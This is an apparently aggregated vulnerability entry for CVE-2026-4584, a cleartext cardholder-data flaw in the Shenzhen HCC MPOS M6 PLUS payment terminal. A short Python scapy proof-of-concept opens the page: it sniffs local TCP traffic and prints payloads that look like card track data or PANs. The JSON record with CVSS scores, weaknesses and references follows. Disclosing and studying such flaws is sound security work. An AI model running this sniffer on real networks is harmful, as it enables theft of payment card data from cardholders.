CVE-2026-4584

import scapy.all as scapy def start_sniffing(interface): """ Sniff traffic on the specified interface to capture cleartext data. Requires root privileges. """ print(f"[*] Starting sniffing on {interface}...") # Filter for TCP packets usually associated with MPOS data scapy.sniff(iface=interface, store=False, prn=process_packet, filter="tcp") def process_packet(packet): if packet.haslayer(scapy.Raw): payload = packet[scapy.Raw].load # Check for potential cleartext sensitive patterns (e.g., track data) # This is a generic check; specific patterns depend on the MPOS protocol if b"%B" in payload or b"PAN" in payload: print(f"[!] Possible Cleartext Sensitive Data Captured: {payload}") # Example usage: # start_sniffing("eth0")

{"cve": {"id": "CVE-2026-4584", "sourceIdentifier": "[email protected]", "published": "2026-03-23T12:16:23.450", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in Shenzhen HCC Technology MPOS M6 PLUS 1V.31-N. This affects an unknown part of the component Cardholder Data Handler. Executing a manipulation can lead to cleartext transmission of sensitive information. The attack requires access to the local network. The attack requires a high level of complexity. It is indicated that the exploitability is difficult. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se ha encontrado una vulnerabilidad en Shenzhen HCC Technology MPOS M6 PLUS 1V.31-N. Esto afecta a una parte desconocida del componente Gestor de Datos del Titular de la Tarjeta. La ejecución de una manipulación puede conducir a la transmisión en texto claro de información sensible. El ataque requiere acceso a la red local. El ataque requiere un alto nivel de complejidad. Se indica que la explotabilidad es difícil. Se contactó al proveedor con antelación sobre esta divulgación, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:A/AC:H/Au:N/C:P/I:N/A:N", "baseScore": 1.8, "accessVector": "ADJACENT_NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 3.2, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-310"}, {"lang": "en", "value": "CWE-319"}]}], "references": [{"url": "https://github.com/Davim09/m6plusexploit/blob/main/docs/CVE-3-DataExposure.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352421", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352421", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.775435", "source": "[email protected]"}]}}